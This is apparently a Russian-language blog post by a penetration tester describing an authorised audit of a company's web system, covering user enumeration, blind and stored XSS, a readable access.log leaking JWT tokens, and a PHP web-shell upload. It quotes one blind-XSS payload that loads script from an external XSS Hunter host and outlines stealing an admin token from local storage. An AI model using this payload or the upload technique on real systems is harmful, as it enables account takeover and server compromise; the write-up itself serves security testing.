В начале года мне написал сотрудник одной фирмы. Как я понял, в компании произошел небольшой конфликт. Из-за которого существовал риск компроментации системы каким-то из сотрудников. Решение провести аудит системы определенно было правильное. Ведь результаты проверки приятно удивили меня, и «неприятно» удивили заказчика.
Архитетура системы в принципе была стандартная. В основе лежал сервис аутентификации. Дальше по выданному jwt токену пользователь мог использовать функционал системы на различных поддоменах.
Тестирование ограничилось одним поддоменом. Но самым основым по мнению заказчиков. Не буду рассказывать в деталях все ошибки и проблемы. Их было обнаружено много. Я лишь опишу те, которые для меня показались самыми любопытными.
Избыточность информации при поиске пользователей
Запрос на поиск пользователей позволял получать набор информации следующего характера — userID, Name, Login, avatar…
Без особых проблем можно было собрать всю базу Login_name пользователей. Особых ограничений в функционале login так же небыло. Дальше можно было подбирать пароль в несколько потоков или выполнить точечный фишинг на наиболее важных пользователей системы.
Blind XSS в обращении за поддержкой от пользователя.
У меня сложилось впечатление что данная проблема присуствует в 90% систем с которыми я сталкиваюсь. Ко мне ранее неоднократно прилетали «отстуки» от платформ для агрегации отзывов. Так же прилетали доступы к системам мониторинга поведения пользователей в интернете. Много всего было. При этом мало кто понимает на сколько это может быть опасно. Конкретно об этом уязвимости писали тут.
В данному случае я убедился в работоспособности атаки случайно получив уведомление от XSS Hunter. Вектор атаки был следующий:
"><script src=https://sa.xss.ht></script>
Но заказчик не верил что я смогу получить контроль панели администратора через данный вектор атаки. Ведь вся ценная информация хранится в local storage. Т.к XSS Hunter не поддерживает получение local storage информации, пришлось развернуть собственный XSS логер. Очень помогла следующая публикация. В результате повторной атаки удалось убедиться что jwt token администратора системы легко может быть получен злоумышленниом даже из local storage.
Ну а дальше с правами администратора в системе можно делать все что угодно.
Stored XSS в электронном письме.
В системе был обнаружен функционал позволяющий делать оформленные email приглашения для регистрации новых пользователей. В форму письма можно было вставить Имя человека. Чтобы email был более персональным. В результате все содержимое не экранировалось и попадало в письмо. Для того чтобы провернуть подобную успешную xss атаку через письмо — надо знать email клиент жертвы, и надо знать zero day xss для данного клиента. Вообщем успешность данной атаки по определению была ничтожна. До момента, когда я обнаружил любопытную кнопочку в верхнем углу письма.
Это была возможность открыть web версию письма. И вот тут меня ждал сюрприз. Моя XSS сработала. При этом веб версия письма открывалась на поддомене admin.*.com
Двойное удивление так сказать.
Доступный файл access.log
В процессе аудита я нашел интересное место. При попадании разных симоволов в запрос — в ответ от сервера прилетало 404. Но периодически ответ 404 немного отличался от предыдущего. Иногда был дополнительный header. Иногда нет. Определенная мутация ответов системы натолкнула меня на мысль проверить в этом месте локальное включение файлов (LFI). Настроил lfi словарь и стал ждать когда система вернет ответы на все мои запросы. В результате при просмотре результатов теста я был сильно удивлен ответу со статусом 200 с весьма увесистым размером переданных данных.
Оказалось, что я обнаружил доступный на чтение файл access.log. В данном файле записывалась вся активность на сервере. В том числе в данном файле можно было обнаружить jwt токены пользователей.
Expiration time этих токенов был достаточно большой. И это тоже было не очень хорошо.
Полный web-shell доступ к серверу
В принципе все описанные выше — проблемы доволно распространенные. Но определенные типы уязвимостей встретить уже достаточно сложно. Речь о доступе к серверу через аккуратно загруженный код в файлике shell.php. После которого получаются скомпроментированны все проекты находящиеся на этом сервере. О подобной проблеме в 2016 году писал Bo0oM в своем блоге.
Но вернемся к моему примеру. В системе была возможность делать публикации. При этом к публикации можно было загрузить картинку. Картинка сохранялась на том же домене. Но у файла принудительно менялось имя. Т.е вы загружаете — mypicture.jpg. А вот в результате получаете 12345.jpg. Я решил проверить, а что будет если я передам файлик xml (на тот момент я видимо мечтал встретить XXE). И на мое удивление получил ответ 123556.xml. И тут я понял что есть 99% шансов на успех с php расширением файла для web shell. Для этой атаки я использовал b374k shell. При прямом обращении к файлу — я получил то что хотел. Доступ к директориям сервера.
Но это было не самое печальное. Самое печальное оказалось в том, что через данную уязвимость можно было скомпроментировать более 10 проектов, которые находились в корневой директории этого сервера.
Мой приятель cyberpunkyc сказал что подобное можно было встретить в году 2007-2010. Увы на дворе 2019. А подобная проблема существует по сей день.
В результате тестирования, заказчик был сильно удивлен результатами. А я был сильно рад что оказался очень полезен при проведении тестирования. Если у вас есть предложения с интересными проектами — смело пишите мне в телеграм ;)
Автор: Валерий Шевченко
